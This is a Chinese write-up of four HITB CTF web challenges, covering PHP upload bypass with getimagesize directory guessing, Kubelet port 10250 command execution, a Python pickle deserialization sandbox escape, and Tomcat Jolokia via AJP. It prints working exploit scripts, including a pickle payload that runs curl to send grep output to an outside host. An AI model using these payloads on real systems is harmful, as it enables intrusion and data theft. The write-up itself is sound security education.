before start 这次ctf是半路上车,本着轻松娱乐的心态,撸了4道题。感觉这次web题目主要考察知识点的积累,都是比较前沿的姿势,找准题目对应的知识点,剩下的就比较简单了。
upload 这道题目的知识点在于php函数在windows底层实现的一些特性,导致目录可猜解。
参考文章:网站漏洞——文件判断函数的安全风险(实战篇)
回到题目,首先是一个上传页面,但是上传之后只返回了文件名,直接访问是访问不到的。源代码中有提示
1 2 Where Path~? <!--pic.php?filename=default.jpg-->
访问http://47.90.97.18:9999/pic.php?filename=default.jpg
,返回了图片的长度和宽度,正好符合了上文中使用getimagesize
的利用条件,可以利用pic.php猜解上传目录。
猜解目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsimport stringimport timepath = '' while True : for ch in (string.ascii_lowercase + string.digits): url = 'http://47.90.97.18:9999/pic.php?filename=../%s</1523710397.jpg' % (path+ch) r = requests.get(url, headers=headers) if 'width' in r.text: path += ch print (url) break time.sleep(1 )
这里坑是真不少。。。首先default.jpg在好多个目录都有,只能自己先上传一个真正的图片。其次就是服务器对py脚本极不友好。。。。磕磕绊绊得到目录为87194f13726af7cee27ba2cfe97b60df
。
上传绕过 题目对后缀名进行了检测,可以使用l.php::$DATA
这种方式来绕过。另外要注意的一点是,上传的文件要传入getimagesize()
,需要加上GIF89a
文件头。
过滤掉了一些函数,使用print_r(glob("../*"));
列目录,show_source('../flag.php');
读文件。
成功得到flag:HITB{e5f476c1e4c6dc66278db95f0b5a228a}
Baby Baby 提示是这样的This is a pentest challenge, open your mind
,扫了一下端口,发现10250 端口比较可疑,查了一下,找到了Ricterz大佬的博客Security Issues of Kubelet HTTP(s) Server 。
具体的利用方式文中写的很详细,直接开干。
首先访问https://47.75.146.42:10250/runningpods/
确认漏洞存在。
控制容器执行任意命令需要namespace、pod_name 和 container_name三个参数,经过寻找,发现flag在web-test 容器中。
Python’s revenge 题目说的很明白,就是python沙盒逃逸,看了一下代码,和之前的强网杯的代码很相似,明显是利用pickle反序列化。不过再利用之前,需要解决几个小问题。
触发点 既然是反序列化,那就直接找loads
函数吧。
1 2 3 4 5 6 7 def loads (strs ): reload(pickle) files = StringIO(strs) unpkler = pickle.Unpickler(files) unpkler.dispatch[pickle.REDUCE] = _hook_call( unpkler.dispatch[pickle.REDUCE]) return unpkler.load()
那么在哪里调用了?只有getlocation
函数。
1 2 3 4 5 6 7 8 9 10 def getlocation (): cookie = request.cookies.get('location' ) if not cookie: return '' (digest, location) = cookie.split("!" ) if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone." ) return False location = loads(b64d(location)) return location
从cookie中获取location(形如front!back),经过一个验证之后,将!后面的数据进行了反序列化。
继续找调用getlocation
的函数,有两处,home()
和reminder()
,我们来看reminder()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @app.route('/reminder' , methods=['POST' , 'GET' ] ) def reminder (): if request.method == 'POST' : location = request.form["reminder" ] if location == '' : flash("Message cleared, tell us when you have found more brains." ) else : flash("We will remember where you find your brains." ) location = b64e(pickle.dumps(location)) cookie = make_cookie(location, cookie_secret) response = redirect(url_for('home' )) response.set_cookie('location' , cookie) return response location = getlocation() if location == False : return redirect(url_for("clear" )) return render_template('reminder.html' )
我们可以通过post方式把我们的payload设置到cookie中,然后通过get访问来触发反序列化。
获取cookie_secret 1 2 3 4 5 6 7 if not os.path.exists('.secret' ): with open (".secret" , "w" ) as f: secret = '' .join(random.choice(string.ascii_letters + string.digits) for x in range (4 )) f.write(secret) with open (".secret" , "r" ) as f: cookie_secret = f.read().strip()
可以看到cookie_secret是一个4位的随机字符串,很容易就可以爆破出来。先来看一下如何生成cookie
1 2 3 4 5 def make_cookie (location, secret ): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest (location, secret ): return sha256("%s%s" % (location, secret)).hexdigest()
这个location是可控的,即在前面的remind()
中将我们的输入序列化之后base64encode。可以很容易的写出爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 import stringlocation = 'VjEKcDAKLg==' chars = string.ascii_letters + string.digits for a in chars: for b in chars: for c in chars: for d in chars: secret = a + b + c + d if calc_digest(location,secret) == '835c8b396d3f58bd214b877fafac1a3ab71e9f0ca775fb3681f1abf46d4e70cd' : print secret exit(0 )
location和hash值都是输入任意数据从cookie中获得的。
沙盒逃逸 题目准备了一个超大的黑名单,但还是有漏网之鱼,这里使用了platform
模块,利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import base64import picklefrom hashlib import sha256def calc_digest (location, secret ): return sha256("%s%s" % (location, secret)).hexdigest() def make_cookie (location, secret ): return "%s!%s" % (calc_digest(location, secret), location) import platformclass Exp (object ): def __reduce__ (self ): return (platform.popen, ('curl -s http://seaii-blog.com:8000/?`grep "HITB{" -r / 2>/dev/null`' ,)) e = Exp() location = base64.b64encode(pickle.dumps(e)) print make_cookie(location, 'hitb' )
将生成好的cookie替换,访问/reminder
即可触发。这里bash反弹shell没成功,用了个简单粗暴的方法。。。
Baby Nya 这题提示也比较明显the tomcat deployed jolokia.war
,仍然是Ricterz大佬的文章,跟上篇挨着。。。
Exploiting Jolokia Agent with Java EE Servers
一开始访问80端口什么也没有,所以扫了一下端口,发现了8009端口。
搜到了这样一篇文章Exploiting Apache Tomcat through port 8009 using the Apache JServ Protocol
根据文章的一通操作,访问本地127.0.0.1
就可以看到远程的tomcat页面了。
接下来按照Ricterz文中的Tomcat with Jolokia 部分操作就可以了,flag就在管理页面。
php lover 时间短没来得及看,之后补上吧。